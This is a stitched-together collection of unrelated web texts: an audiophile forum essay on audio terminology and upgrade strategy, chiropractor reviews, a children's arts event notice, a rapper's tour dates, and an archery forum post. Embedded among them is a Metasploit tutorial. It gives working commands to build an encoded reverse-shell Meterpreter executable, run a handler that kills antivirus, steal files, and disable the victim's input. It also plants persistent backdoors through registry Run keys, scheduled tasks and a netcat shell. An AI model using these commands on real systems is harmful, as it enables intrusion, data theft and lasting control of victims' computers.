text: Report post Posted July 27, 2007 (edited) Preliminary Note This essay is in a continual state of revision thanks to postings on this board. It is designed to both act as a guide and a stimulant for further investigation of the intricacies of obtaining high quality audio. We are all learning from one another. Some Audio Basics More detail can be found ion these topics at Wikipedia or by a Google search AES/EBU: This is the digital audio standard frequently , officially known as AES3, and is used for carrying digital audio signals between various devices. It was developed by the Audio Engineering Society (AES) and the European Broadcasting Union (EBU) with final standards established in 2003. Several different physical connectors are also defined as part of the overall group of standards. Analog: A continuous signal, necessary for ultimate recognition by our ears. Amplifier: An analog device which accepts in a small voltage of 2 mv (usually referred to a "line" voltage) and increases it to an output of volts suitable for a loudspeaker system. AV Receiver: A complex component which includes audio and video switching circuitry, a DAC, audio amplifiers and in some cases video upscaling. CD: Compact disc, introduced in the 1980, these have digital data encoded at a sampling frequency of 44.1 kHz and a word length of 16 bits in a format known as PCM – pulse code management. This limits the frequency of each channel to 22.05 khz. This format is often referred to as "Redbook" because of the standards Sony & Philips laid out when it was first introduced. PCM can be copied. Crossover: A device which splits up a full frequency input into a number of different frequencies suitable for different speaker drivers, most commonly into treble, mid and bass in a 3 way speaker system. Most speaker systems use passive crossovers meaning no external power is required. The other type of crossover is active and uses sophisticated electronics to split up the frequencies. Active crossovers are generally of higher quality than passive but are more expensive than passive. Biamplification: This usually involves replacing a passive crossover with an active one, usually the unit between the mid range speakers and the subs. The line level signal from the preamplifier is then fed to this active crossover and the split signal out -> two amplifiers, one feeding the mid and high speaker drivers, the other amp feeding the sub. This arrangement is generally felt to improve the bass reproduction. DAC: Digital to analog converter. This "unsamples" the digital data and reconstructs it to an analog output. Digital: The common form now being used as an intermediate inbetween the original analog audio in and the final analog audio out of a system. That digital signal samples the analog and converts it into 0's and 1's. Different sampling rates are used in different formats, the most common for CDs being 44.1 kHz. DVD, SACD etc use different sampling rates. Driver: Describes a cone speaker in a system of 2 or more units. The cone has a coil at its focus and that is centred in a strong permanent magnet. Varying currents from an amplifier through the coil cause the magnetic field around the coil to alter and this reacts with the permanent magnet to cause the cone to vibrate and give sound. High frequency drivers are termed tweeters while low frequency units are woofers. DSP: Digital Signal Processing. This is performed by the DAC in the player but some components use DSP to change the amplifier input to correct room acoustic problems. DVD: Digital video disc is the most popular video format and its audio uses a sampling rate of 48 kHz. DVD-A: A high resolution audio format using higher sampling rates than CD (up to 192 kHz) and a longer word bit length. Initially in competition to SACD but as well favoured so there are few recordings being released using it now. A special player required. Electrostatic Speaker: This is of fundamentally different design to the commonly used driver. Basically it is made of a thin coated Mylar membrane suspended between two stators or highly charged perforated metal plates. Different voltages applied to the membrane from the amplifier cause it to vibrate to give sound. The membrane is low mass compared to the cone of driver so responds more quickly to input so such speakers are admired for their accuracy and quick response to input. However most ES speakers do not reproduce well below 200 hz so are usually supplemented by a bass driver. Matching this to the ES is difficult because of the basic differences between these two transducers. GIGO: garbage in -> garbage out. The quality of the signal going in to a component cannot be improved, only suppressed or filtered. IC: Integrated circuit. This replaces a number of discrete items in a circuit and simplifies circuit design so lowers cost meaning ICs are in common production use. Integrated amplifier: A combination of a preamplifier and amplifier. Jitter: This is basically a distortion caused by timing errors in DSPs when handling digital data. Better timers and circuitry in DACs and transports will minimise but not eliminate all jitter. Jitter can destroy the stereo soundstage and, in its worst form, causes a harshness and edginess to the sound of the music. Jitter is measured in ps (picoseconds - one millionth of a millionth of a second or 10 to the power -12 ) and it is only recently such small timing errors have been capable of being measured. The subject of jitter is a complex and poorly understood topic so the following references are suggested for reading- 1. http://www.jitter.de/english/engc_navfr.html 2. http://www.digido.com/bob-katz/jitter.html 3. http://en.wikipedia.org/wiki/Jitter 4. http://www.tnt-audio.com/clinica/jitter2_e.html 5. http://www.stereophile.com/features/368/ This link describes nicely the different affects of jitter. 6. For the technically minded - http://www.lavryengineering.com/white_papers/jitter.pdf Jitter is discussed on this site in the thread at http://www.dtvforum.info/index.php?showtop...rt=#entry734864 PCM: Pulse code modulation – the digital format used in CDs, DVDs, DVD-As and now specified for the audio in high definition DVD. There are a number of different forms of PCM as they vary in both frequency sampling and the bit length of the words. Preamplifier: This accepts inputs from a number of devices and switches between them to give output at line level for an amplifier. Some preamplifiers accept the very low level voltage from a cartridge and amplify this to line level after suitable compensation. Redbook: See CD Resonance: Every item has a frequency at which it vibrates naturally and this can cause problems in a system, particularly in speaker drivers where the design of the cabinet is usually as rigid and well damped to minimise this. Rooms are particularly susceptible to bass resonances. SACD: Super Audio CD. A high resolution audio format. Recordings use a different encoding method than PCM known as DSD, direct stream digital, a one bit process with a very high sampling frequency. This digital data is encrypted so it cannot be easily copied in digital form. Many claim SACD to be far superior to CD but much of this can be traced back to the extra care taken in the production of SACD recordings. A special p0layer required. Soundstage: The illusion of an even spread of sound between the two stereo speakers. S/PDIF: Stands for Sony/Philips Digital Interface Format and this is part of the AES/EBU digital standards for carrying digital audio signals between components. S/PDIF is basically a minor modification of the AES/EBU standard for consumer use, providing small differences in the protocol and requiring less expensive hardware. Transducer: A component that converts between a physical vibration and an electrical current. The needle in a cartridge for playing LPs is vibrated by the grooves in the record to generate variable current. Conversely when varying current is fed into a speaker driver it vibrates to give sound. Universal Player: designed to handle all popular formats – CD, SACD, DVD-A and DVD. The Audio Chain 1. Software source (CD, SACD, DVD-A or LP) 2. Player (CDP or separate transport/DAC combination) 3. Amplifier (Integrated or preamp/amp combination) 4. Loudspeaker system 5. Listening room. Weaknesses in the Audio Chain 1. Software. Unfortunately these often contain ingrained distortion so the disc to be chosen when making a judgment of an audio component should be chosen with care. It is best to use a recording with a wide variety of different types of music. 2. Player. The cost of these varies from under $100 and up to or over $20,000. The biggest weakness in players is generally recognised to be distortion caused by jitter. This can occur in either or both of the transport and the DAC whether they be separates or together in the one unit. The observable distortion caused by jitter will vary according to components used further down the audio chain as it might be masked by amplifiers or speaker systems. 3. Amplifier. There are a huge number of variations in circuit design and quality of items used in construction. Different amplifiers do embed a different sonic character to the resultant sound and this is often very dependent on the interaction between the amplifier and the speaker system. The general aim should be to have a neutral sounding amplifier, particularly in the mid range of frequencies. Note that in higher end amplifiers, the quality of cables linking from the player and to the speaker can alter the sonic signature. Amplifiers need to have sufficient power to drive the speaker system so they do not overload and start clipping as this can destroy speakers, particularly tweeters. The damping factor of the amplifier can be important for some speaker systems. Generally the synergy between the amp and speakers is particularly important. 4. Loudspeaker System. This is generally accepted as the weakest link in the audio chain. However, apart from the quality of design and the quality of crossovers and drivers used, its effectiveness depends both on the interaction with the amplifier and the room acoustics. Speaker sensitivity needs to be matched carefully with the amplifier and the room. Resonances in the speaker cabinet give a woolly, boomy and muffled character to the audio and destroy music fidelity. Placement of the speakers in the room and the seating position relative to those speakers can make a huge difference to the perceived musical result. Experiment in placement is essential 5. Listening Room. Bare floors and walls cause excessive reflection and cuboid shaped rooms can be responsible for unpleasant room resonances which can detract from appreciation of the music played. There are a number of ways of offsetting problems. These can involve judicious placement of carpet, wall hangings, bookshelves (very effective behind speakers) or even commercial "tube traps" designed to minimise room resonance problems. If the acoustic problems are not severe, a DSP electronic correction could be the answer but might introduce more (jitter etc) problems again if not carefully implemented. So, What to Upgrade First? Introductory Note: The "weakest" link in a particular setup will vary from one system to another and might be the player, the amps or the speakers. Generally audiophiles correctly regard the speaker system as the most compromised part of the chain but it does not follow that it is automatically the weakest. Changing speaker systems is an expensive process and the money could be better spent elsewhere in the chain. This might be the amplifier or better cabling. However the author urges audiophiles to critically examine the player as a possible best first place for improvement, not necessarily by purchase of a newer CDP, but to have the present player modified with an improved timing control. Such modification on a 2 CH player could cost up to $1500 if done by experienced technicians such as those at Soundlabs Group http://www.soundlabsgroup.com.au/. Such work can yield dramatic and clearly audible improvements in resolution, soundstaging and retrieval of detail in recordings. Further upgrades of amps or speakers etc can then further reveal the quality of the signal coming from the player. This philosophy is expanded in furtherdiscussion below. Obviously there is no simple answer for everyone to the question of what to upgrade first. We are dealing with a system and that includes the room acoustics. The total system can never be better than the weakest link and exactly what is the weakest link in any system can be difficult factor to determine. Upgrading can be an expensive and frustrating merry go round if not approached carefully. The author has been playing around with audio (and now video) for over 60 years since first being hooked by cylindrical records found in an attic in the 1940's. Progression followed from the Edison cylinders to 78's, to mono, then stereo LPs and ultimately to modern day CDs, SACDs, DVD-As. These were played on wind up gramophones with outboard rigger pickups to Linn Sondek etc tables and now to Esoteric universal players. So what has been learned in this long voyage? I put forward the following thoughts about audio to consider: 1. Items change in character after a period of warm up which can extend to several weeks; 2. The most consistent audio results are obtained if gear is left permanently on (yes, I know, most environmentally unfriendly, but your choice); 3. GARBAGE IN -> GARBAGE OUT so it is pointless owning the best possible amps and/or speakers if the player is not inputting the best possible signal; 4. Most, if not all, commercial players of digital data (audio & video) can benefit from upgrading with better components, particularly timer clocks. The player is often the weakest link in the audio chain; 5. Most modern amplifiers, and that includes receivers, are fine. No, not all amplifiers sound the same, but in most (not all) cases this would be the last item to upgrade; 6. Positioning of speakers is a bit of a black art and can make a huge difference to the sound, particularly the bass. Experimenting with even small positioning changes is a well worthwhile tweak. 7. Loudspeakers are often the first target to replace because they are the obvious final source of the sound but this needs to be approached very carefully and can be a waste of money (reasons given later in 32); 8. Loudspeakers sound as they do because of input AND reaction to room acoustics. A reflective room with bare floor or cuboid shape poses as very hostile environment for the reproduction of quality sound; 9. Items which have good specifications on paper might not mate together smoothly. Unfortunately assembling a good system is not a simple Lego exercise; 10. Insertion of a different component can alter the sound to the joy of the owner. However this alteration might not actually have improved the sound, only made it different, something accepted by the owner who had become bored with what he/she heard previously. The net effect, at expense, was merely a move sideways, not forward; 11. The law of diminishing returns can set in quite rapidly after a certain point has been reached; 12. The audio quality of the final result in any system is not necessarily proportional to the amount spent on purchasing it. The most expensive component is not necessarily the best; 13. No system can replicate the live experience but many can reproduce a very satisfying replica; 14. Auditioning components in a showroom or another audiophile's home might not be useful as the resultant sound is the result of the chain of items used (including the acoustics of the demo room) and that same sound might not be replicated when the item is inserted into the owner's home system. Similarly insertion into that different home system could yield disappointing results but that might be a reflection of weaknesses elsewhere, not of the new component; 15. Auditory memory is highly unreliable so this makes opinions of "A" compared to "B" suspect even if there is only a short time interval between the audition and of even less value if the time interval is longer; 16. The numbers game continues in advertising hype with the angle now on digital figures (e.g. bits, upsampling rates) which mean little to most people and, may or may not, relate to sound quality; 17. Very good sound from either analog or digital sources is neither easy nor cheap to attain; 18. Software in all formats varies greatly in quality but the best analog and digital are remarkably good. However the software, particularly of rock, pop etc material is often very flawed and the quality of classical recordings also varies a lot so any audition of components must be performed carefully with recordings known to be of high standard; 19. CD digital can sound very close to analog BUT it takes expensive players and DACs to achieve that. And Hi-rez SACD is not necessarily better than CD although it generally is because more care is taken in its production; 20. DAC's have significantly improved in the last few years making older, used units doubtful propositions. Upsampling does appear to improve accuracy and sound quality in some units but is no guarantee of a better sounding DAC; 21. Prejudices abound in audio with many defending valves vs solid state or vinyl vs digital, 2 ch vs surround sound, SACD vs DVD-A etc with religious fervour. There is good and bad in all systems and formats; 22. Top audio for Home Theatre is just as important as for audio only entertainment as there is a lot of well recorded music in video documentaries and movies apart from opera, ballet etc. (I suspect HT Luddites have not ever heard a really good audio system with HT); 23. Smooth bass is difficult to achieve, particularly with bass units attached to the mid and top as is usual. Speaker placement for best sound staging is not necessarily the best for room loading of bass. 24. Biamplification might be an answer to bass problems and the reasons are well argued by Rod Elliott at http://sound.westhost.com/bi-amp.htm. However it seems many audiophiles have naïve ideas about what is involved in biamping and think they can rush in when they have a spare amp. Done properly with active crossovers biamplification is great but it should follow after most other upgrades, particularly those to the front end; 25. Many systems can appear "too bright" and harsh– the result of poor bass reproduction and/or jitter in the digital player; 26. Commercial press reviews in reliable publications like TAS and Stereophile are to be believed BUT it is important to read between the lines; 27. Internet postings may or may not be valid and should be treated with caution. Most audiophiles are entranced by new toys and often seek to justify their audio idiocy; 28. Audio-video dealers are knowledgeable and are often enthusiasts themselves BUT they are unlikely to recommend brands they do not carry so their advice is based upon what they have in stock. It must therefore be treated with caution; 29. Ultimately choice of type of music and quality of sound is so subjective that it must be personal so that in the absence of opportunity to audition for oneself, it is important to canvass as many different opinions as possible to be able to form a sensible consensus. The internet is making that much easier these days and is an invaluable resource; 30. All high end systems with low distortion and high resolution etc have their own sonic signature. Judgement of other systems is highly coloured by love of the sound from one's own. After having worked upon and refined a system to personal taste, a differing sonic signature might not appeal, regardless of whether or not that differing system is closer to the original sonic signature. This makes acceptance of other audiophile opinion a minefield; 31. Musical enjoyment should be at the heart of it all and some brilliant artistry can overcome poor technical software e.g. the 1958 recordings of Callas singing in Verdi's "La Traviata". However bad technical reproduction from software or hardware can make enjoyment of the music very difficult. Regrettably surface imperfections on LPs fall into this category; 32. Attempts by audiophiles to counteract the "yin" in one component with a "yang" in another is absolutely futile and bound to end up as a continual dog chasing its tail situation. Great for dealers but a very (literally) poor approach. The aim should always be to start with a neutral, clean amp, match it with appropriate (sensitive wise) smooth speakers and then feed in the best front end the budget allows. The adage "garbage in -> garbage out" applies so amp and speaker should not be changed to minimize the garbage effect unless either are proven responsible for it. The audio chain is only as strong as its weakest link and unless the front end signal is as good as the budget can stretch to, many following upgrades can be a frustrating waste of time and money. Loudspeakers are popularly regarded as the best starting point but there is a trap in that. No component is faultless. All have their weak points, particularly digital players which have a tendency to harshness, sometimes referred to as digitalis. Much of this harshness is due to jitter caused by timing errors in reading the software. These timing errors are of no consequence in reading data to a computer but are fundamental to the quality of reproduced audio. Digitalis is unpleasant so the first response to ameliorate this by using valve amplifiers or speaker systems that "soften" this problem. So what is being done is to counteract a "ying" of "X" with a "yang" of "Y" in an attempt to give a listenable result. So, choosing the speakers with the best "yang" is actually choosing speakers with a fault, not obvious until the "ying" is eliminated from the other component. 33. The bottom line in all the audio-video mania should be for someone to be satisfied with their system because they are achieving musical enjoyment from it. So what are the traps with upgrading and where should one start? If someone is happy with the present sound and do not plan to upgrade then no problem. Problems only arise if a new component really does improve an element of the reproducing chain as the system can then be thrown out of balance. The process of upgrading can then become an expensive merry go round with unsatisfying results. If anyone is serious about hearing better sound from digital media then they will not do so with a $100 player. Using such an input and then spending hundreds of dollars on other amps or speakers is a waste of money in my experience. Maybe some $100 players could be massively improved by spending $1000 or more on modifications or maybe not. Many of the latest players use cheap internal parts (they have to to remain competitive) and might not be good candidates for upgrading. However some might have good potential – the opinion of a technician with experience in a number of players e.g. at Soundlabs Group Melbourne and Sydney, should be sought about that. I had an OPPO 971 player modified and the result was really good although this player costs well over the $100 mark if purchased locally or imported as I did. So folks, my leaning is towards getting the best input possible from the player as the first best move. This does not have to mean spending excessive amounts on a player. But if the input is faulty there is no way you can use neutral sounding component elsewhere in the chain because that faulty input will sail right through with unpleasant results. This essay makes no attempt to define what is the "best buy" in players or any other component because the answer to that is very subjective as it depends not only on budgetary constraints but also depends on how well the item integrates into the rest of the system. The argument in favour of speaker upgrade first has merit IF care is taken to purchase units that are neutral, particularly in the midrange. The advantage of this is that improvements made earlier in the chain can be more easily recognised. The trap is to reject such good speakers because the sound is not good, when the fault lies not in the speakers but in the signal going in to them. Yes, that fault might lie in the amplifier (or an impedance mismatch) but is more likely to be in the player. And do not forget the software in all this. Few CDs are perfect. To finish I guess I should give a reminder of the system here so you can judge where I'm coming from. First up, around 18 years ago I designed the main entertainment room in this house with a pentagonal shape and cathedral ceiling to avoid opposing parallel surfaces. It has worked exceedingly well. The rest of this house was fitted in around that room. You can see pics of it and the general layout at http://gallery.audioasylum.com/cgi/view.mp...58&session= To summarise: Audio Input: Esoteric UX1 LE, mated to an Esoteric G-0s Master-Clock regenerator DAC: Highly modded (by Steve Nugent at Empirical Audio USA) Benchmark DAC 1 (used as the DAC for laserdisc and other digital outputs) Preamp: McIntosh C200 Stereo amps: Halcro DM68's Stereo speakers: Sound Labs full range electrostatic "Majestic" units Cabling: Furutech to amps, Siltec, and various other interconnects Power: Regenerated for the player, preamp and speakers by a PP600 This essay is not made as a flag flying exercise but has been put up to possibly help others avoid the many traps (and associated waste of dollars) that I've incurred over the last 6 decades. Any corrections or additions - please post as this is intended to help, not hinder. In all upgrading please approach prospective new toys with care rather than love, or worst lust Easierto say than do. I know, been there, still doing that! John 2010 POSTSCRIPT: A less expensive way of getting great 2 CH audio is via headphones. I hate wearing them but cannot deny the great quality - better than anything else here. See my post below at http://www.dtvforum.info/index.php?showtopic=90992 for details. Edited October 9, 2010 by Tassie Devil Share this post Link to post Share on other sites


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Dr. Barghi she got to be the best Chiropractor ever!she has been taking care of me for at last 1 year , and she also adjusts my husband. she genuinely cares about her patients Dr barghi is awesome
Dr. Barghi was refereed to me by a friend. I've had lower back pain for years until I met her.I called in and schedule an appointment with her. After three adjustments and ultra sonic stimulation I truly felt better than my previous condition. Dr barghi is very knowledgeable and educates her patients on necessary exercises & nutrition that helps the entire body's healing process. She helped me get rid of my back pain, thank you Dr. barghi, you have completely changed my life! I highly recommend her if you are looking for a Chiropractor.
I have always been a skeptic about Chiropractors. My wife raved about Dr. Barghi and spoke very highly of her. Kept trying to get me to go. I didn't want any part of it. I ended up hurting my back and pinched a nerve in my lower back. My wife made an appointment for me right away. I was desperate and went. I didn't even want to go. To my surprise, Dr. Barghi treated me and I was so amazed at how amazing her treatment was. My shooting pain was gone after just one session. Very sweet, and caring. I see some people speaking poorly of her of how she talks a lot. Dr. Barghi changed my view and she explains very well in detail the improper way of doing things and the proper way to stay healthy. Dr. Barghi is very professional and her staff are very polite as well. I'm sure everyone has their own view but I'm very glad I gave Dr. Barghi a chance. She has changed my life. As far as being expensive, you get what you pay for and Dr. Barghi is money well spent.
I began coming to see Dr. Sharon Barghi after a car accident.her work has been amazing and I cannot praise both the doctor and the clinic enough. Aside from the excellent treatment, Dr. Barghi has a witty and kind way with words and a completely professional and warm demeanor. I can imagine no better place to go to when an injury happens!
I am very happy that I met Dr. Sharon Barghi. Upon entering the doctor's office She listened to me carefully and tried to help me. She usually spends the quality time as well. She is a very hard working doctor like I had not experienced before with other doctors. She not only helped me, but directed me to other contacts during the course of treatments and she tried to remove all barriers for me. Dr. Sharon Barghi also was talking with me during the treatments and made a promise that soon the pain would go away. Therefore, now I am much better than before. I feel I am very happy with her treatments and when I have appointment, I try to don't miss any of them. She is EXTREAMLY wonderful, experienced and professional in her job, and tries to help her patients.
When I first went to Dr. Sharon I was in so much pain I could hardly sit or stand. I had been in a car accident (broadsided by a taxi doing an illegal u turn) a year before and the pain between my shoulder blades was unbelievable. With in weeks I was pain free. She used physical therapy with the ultra sonic stimulation and I was moving normal. I can't say enough about how much time and caring she has given me! I was unable to get that from a normal Dr. without them giving medications, and I hate taking anything. Please if you are suffering from pain go see Dr. Barghi before anything so she may help you. Your spine is your fuse box and it needs to be healthy to keep your body going. It's the only body you'll ever have. I am so ever greatfull to her!
I first came to Dr. Barghi almost a year ago when intense pain in my lower back was crippling me. I had heard great things about adjustments but knew nothing else about it. I woke up after a week of worsening pain and I knew I had to see someone, that day. I am so thankful that Sharon was the first and only chiropractor I called who picked up and was willing to give up her lunchtime to see me. She could tell exactly where the 2 spasms were without me even telling her, and we started a regimen of 3 sessions per week. The EMS and her deft hands were a miracle for my spasms, and I honestly have found complete relief. Let me be clear, I come from a family of all M.D.s who were very skeptical, and I am a firm believer in seeking the appropriate care, whether that's alternative care or traditional medicine, but I sincerely could not feel better than I do now, going to see her about twice a month now. Not overpriced in my experience.
Many problems, but worse was EXTREMELY pushy. Insisted we needed to come back every day, which is not necessary for a good, or even half decent, doctor. Way overcharged, if I had realized she was going to charge hundreds of dollars more than other chiropractors I never would have gone. My boyfriend thought she helped his back, she did not help mine, but at least she didn't make it worse. She gave both of us long lectures about everything we were doing wrong instead of just treating us and giving us reasonably long descriptions of our problems. She also repeatedly tried to push me to buy her back products despite my non interest. We finally just had to make appts, then call and cancel, since not making new appts in person proved very difficult. She also had no secretary and only accepted cash, which is not standard. Getting receipts was also a problem, that took some convincing. She wanted to give us a single receipt for multiple visits as a way to force us to return. Awful.
Just started visiting doctor Sharon a few months ago due to some neckpain and lower backpain. This was my first time seeing a chiropractor and so far it's been a great experience. She's very flexible with my work schedule and accommodates for/works with me to make sure I get my treatments despite insurance limitations. Plus the place is clean and convenient which works for me. I plan on continuing my treatments with her for awhile, she's great!
I have never been to a chiropractor until i was involved in a car axident and went to see Dr.Sharon Barghi.She is very good,kind,knowledgeable and poseses excellent communication skills.When i walked in her office,she treated me without even setting up an appointment.She posseses tremendous skills and the ability to explain a patient in proper simple laguage about all the treatments she provides to her patients.Any time i leave this office,i feel like a whole new person and i am always very eager to go back because of her tremendous work and expertism.I recomend any one to go there for a good treatment.
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You're invited to join FOKUS at 10am on Sunday, February 17th, as we take children and their families on an exciting trip using the books "Peter's Chair" and "The Jones Family Express" during a morning of artmaking and reading at Dee & Ricky's Home Cooking. FOKUS will be reading each book to the children and then leading them in an arts and crafts workshop where they will create collage postcards based on themes from each book.
The postcards that the children will design following Peter's Chair will be based on the themes of family, sharing and siblings. The second postcard will be based on The Jones Family Express' themes of family, creativity, giving and travel.
We will supply all needed materials, but feel free to bring old magazines that you were planning to throw away because we are promoting reusable art materials. Also, we will cover the postage so the children can mail their postcards - because everyone loves to get art in the mail!
Dee and Ricky's will also have a special Breakfast menu available at this event.
Story Time Art: A Celebration of Family
Dee & Ricky's Home Cooking
Sunday February 17th at 10am
503 Myrtle Ave
Brooklyn, NY, 11205
Save the Dates
Feb 19th: INSIGHT: Love Affairs issue release party
Feb 20th: "The Role of the Barbershop in Creating Community"
Feb 23rd: "Soul: A Night of Dinner and Poetry"
FOKUS is presenting these events in conjunction with the Myrtle Avenue Revitalization Project's Black Artstory Month on Myrtle: A Celebration of African American Art, Culture and Creativity to coincide with February's recognition of Black History. To see the full calendar of events, visit Black Artstory Month.
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Dee and Ricky's Home Cooking
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Sunday, February 17, 2013 from 10:00 AM to 12:00 PM (EST)
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FOKUS increases the public's access to the arts through arts education programming and community-based arts events. Our mission is to educate, empower and unite diverse communities by using the arts.
FOKUS is a 501(c)3 not-for-profit that nurtures creativity in communities by exposing their members to art experiences. This is to help them discover their own creativity and use it to better themselves and their communities.
We also publish INSIGHT, an online arts magazine. INSIGHT magazine is based on the concept that we often look to art to define past civilizations. In turn, we provide insight into the artists who are shaping our culture through their work today. We provide insight into the worlds of actors, musicians, designers, fine artists, emerging artists and those who do not immediately come to mind when thinking about the arts/artists, such as culinary artists and industrial designers.


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Earl Sweatshirt announces dates for 'Wearld Tour'
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After its release in August, Doris opened up at number five on the Billboard 200 chart. The record sold 49,000 copies in its first week.
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01/13 Denver, CO - Cervantes
01/27 Auckland, New Zealand - Laneway Festival
01/28 Wellington, New Zealand - James Caberet
01/31 Brisbane, Australia - Laneway Festival
02/01 Melbourne, Australia - Laneway Festival
02/02 Sydney, Australia - Laneway Festival
02/04 Sydney, Australia - Enmore Theatre
02/06 Melbourne, Australia - Palace Theatre
02/07 Adelaide, Australia - Laneway Festival
02/08 Perth, Australia - Laneway Festival
02/17 Washington DC - 9:30 Club
02/18 Norfolk, VA - The Norva
02/19 Boston, MA - House Of Vans
02/20 New York, NY - Webster Hall
02/21 Providence, RI - The Met
02/22 Brooklyn, NY - Music Hall Of Williamsburg
03/05 Aarhus, Denmark - Fonden Voxhall
03/06 Helsinki, Finland - Nosturi
03/08 Oslo, Norway - Parkteatret
03/09 Stockholm, Sweden - Debaser Strand
03/10 Copenhagen, Denmark - Pumphuset
03/14 Schuttorf, Germany - Index
03/15 Cologne, Germany - Luxor
03/16 Munich, Germany - Strom
03/18 Zurich, Switzerland - Komplex Klub
03/19 Paris, France - Trabendo
03/20 Brussels, Belgium - Ancienne Belgique
03/21 Amsterdam, Netherlands - Melkweg
03/23 London, UK - Brixton Electric
03/24 Glasgow, UK - Garage
03/25 Manchester, UK - Academy2
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I introduce my tutorial on the Metasploit Framework. This applys to both Linux and Windows.
Although, I would seriously suggest using Metasploit within Linux, specifically
'Backtrack 4 - PreRelease' (The Latest)
If you dont know what the metasploit framework is, then look it up. You've been missing out.
In no way is this meant to be a comprehensive guide. MSF is HUGE. Too many things can be done with it,
you could write 15 books on it. MSF is Open Source and coded in the Ruby language.
Get used to the 'help' option!
I'm gonna start with Payloads, many people know already that MSF is an exploitation framework, as in you can
work out vulnerabilities in software, and use the framework to quickly create working exploits for it.
There's hundreds of payloads that you can choose from, so that when you exploit the system in question
you can easily automate the execution of a payload of your choice on the machine.
I will show you how to turn those payloads into an actual .EXE so it will just run as is.
Ok. Lets begin:
Fire up your MSF, make sure it's updated, as they are constantly making amendments to this.
For backtrack i think its : cd pentest/exploits/framework3
Metasploit Double Encoded Reverse Meterpreter Payload
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$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=123.234.456.678 LPORT=82 R | ./msfencode -e x86/countdown -t raw | ./msfencode -t exe -o /meterpreter_reverse.exe
LHOST - is our machine (listening host, as we are waiting for a connection from RHOST (remote host)
LPORT - self explanitory. Just make sure you have port forwarding set up on your router ofcourse.
Meterpreter - An incredibly advanced shell which kind of simulates bash. (even on a win system) - lots of power.
You'll see how much power shorty.
Now you have your PAYLOAD.exe
Metasploit Listener
In /framework3 directory
$ ./msfconsole
(Takes a lil minute for this to load)
use exploit/multi/handler (Sets the exploit to a handler)
set PAYLOAD windows/meterpreter/reverse_tcp (Most common Payload to use, try experimenting with others)
set LHOST 220.127.116.11 (Make sure you set LHOST to your address on Network and not localhost)
set LPORT 82 (Sometimes, port 80, 443 or 8080 is better as to some FW's it looks less suspicious)
set ExitOnSession false (As soon as you get a session, it doesn't automatically jump in to it)
set AutoRunScript /killav.rb (when customer connects back, and meterpreter payload is uploaded, killav.rb script is uploaded and executed)
exploit -j (sets exploit up as a job, good for shells on multiple customers)
(See more on scripts... down )
When all goes well, and you have hit 'exploit -j' and have waited for a customer to click on the payload.exe you created earlier
you will see stuff happening in the screen. You will notice it run the killab script, then says something like :
- Meterpreter session 1 opened (123.234.345.567:63456 -> 192.168.1.50:82)
Ok, here's the basics:
type :
sessions -l (this lists any sessions we have i.e. customers. Notice the lowercase L )
sessions -i 1 (this is to interact with the session 1. i.e. Interect. Lowercase I)
If you need to come out of this screen. Either CTRL+Z or type 'background' without the ''
Ok.. So we are in the session: Brilliant
Continuation - The Good Stuff
$ Meterpreter > getuid (this will show you currently logged in user)
$ Meterpreter > idletime (wanna see how long user has afk?)
$ Meterpreter > help (this will show you a massive list of amzing commands to use!)
$ Meterpreter > use priv (then check help again, more privilidged commands now eh?
ok i will show some really handy ones
$ Meterpreter > upload evil.exe evil.exe (uploads the file from this machine over to the customer)
$ Meterpreter > download secret.txt secret.txt (downloads the txt file to our machine)
$ Meterpreter > cd "Documents and settings" (cd's to a folder with spaces in it.)
$ Meterpreter > ls (this is an example of the bash type commands we have on the target win machine, version of dir)
$ Meterpreter > download -r My Documents /home/root/Documents (This would download the entire "My Docs" folder over to us.
$ Meterpreter > execute *f evil.exe (executed the file on the customer)
$ Meterpreter > execute *f cmd.exe *c *H *i (-f executes, cmd.exe shell on target, channelized, hidden, interactive)
(customer will not see a thing your doing as all the options are set properly)
Check down the bottom for some useful cmd.exe commands that are very useful
$ Meterpreter > uictl disable keyboard (disables some user interface componants)
$ Meterpreter > uictl disable mouse
$ Meterpreter > uictl enable keyboard (enables)
$ Meterpreter > ps (this will show you a detailed list of all processes running on target machine)
$ Meterpreter > migrate pid (migrates/injects itself into another process id) e.g migrate 716 (explorer.exe)
$ Meterpreter > kill pid (kills process) e.g. kill 563 (av.exe goes down)
etc etc etc etc....
Using Payload As A Backdoor
upload /home/metabkdr.exe metabkdr.exe (to app data directory)
execute *-f cmd.exe *-c *-H -*i
Way 1 :
cmd.exe > REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v firewall /t REG_SZ /d "C:\Documents and Settings\Owner\Application Data\Microsoft\Installer\metabkdr.exe" /f
(This adds a registry startup obviously)
Way 2 :
cmd.exe > at 19:00 /every:M,T,W,Th,F cmd /c start "C:\Documents and Settings\Owner\Application Data\Microsoft\Installer\metabkdr.exe"
(runs backdoor at 7pm all weekdays, at command works for all windows i think)
way 3 :
cmd.exe > SCHTASKS /Create /RU "SYSTEM" /SC MINUTE /MO 45
/TN FIREWALL /TR "C:\Documents and Settings\Owner\Application Data\Microsoft\Ins
taller\metabkdr.exe" /ED 11/11/2011
(This runs the backdoor every 45 mins as SYSTEM (on XP. XP home doesnt have schtask, has 'at' though)
Plant A Simple Backdoor with Netcat
plant a backdoor
A very simple way of planting backdoor could be using netcat.
1. upload a netcat executable (nc.exe) on remote machine.
meterpreter provides a command 'upload' for that
2. c:\windows\system32 > nc.exe -l -L -p <port number> -e cmd.exe
3. now from your machine, type nc -v -n <ip address> <port>
It will give you a command shell of remote machine
nc -l -d -p 80 -e c:\windows\system32\cmd.exe
More On Scripts:
Scripts can be run from the meterpreter shell when you have a shell on a customer.
All you do is: (where '$' is not to be typed. This is the bash shell)
$ run scraper -h (This will show you the options etc for any of the scripts)
$ run keylogrecorder -h
The Sky is your limit when it comes to scripts. You can code them to do all sorts of stuff for you.
There are many already within the the framework, made by folk.. here's a small list of some already there:
killav.rb (kills all anti viruses running on system)
getcountermeasure.rb (kills av's and fw's/ids')
scraper.rb (logs LOADS of useful information via a serious of automated commands on customer. Logs stored in /root/.msf3/
gettelnet.rb (able to open a telnet server on the customer with a username and password)
checkvm.rb (checks to see if it is a VM. And version numbers)
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I live near Black River Falls Wisconsin, small town named Taylor actually. Anyways a friend and I are thinking on joining an archery club to shoot league or whatever the case may be. I have only been shooting for about a year so I am not the best shot in the world but all in all not that bad. There are 3 different Clubs near where I live that I found through the find a shoot deal here. My questions begin with the most basic one of all.
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Trophy ridge matrix
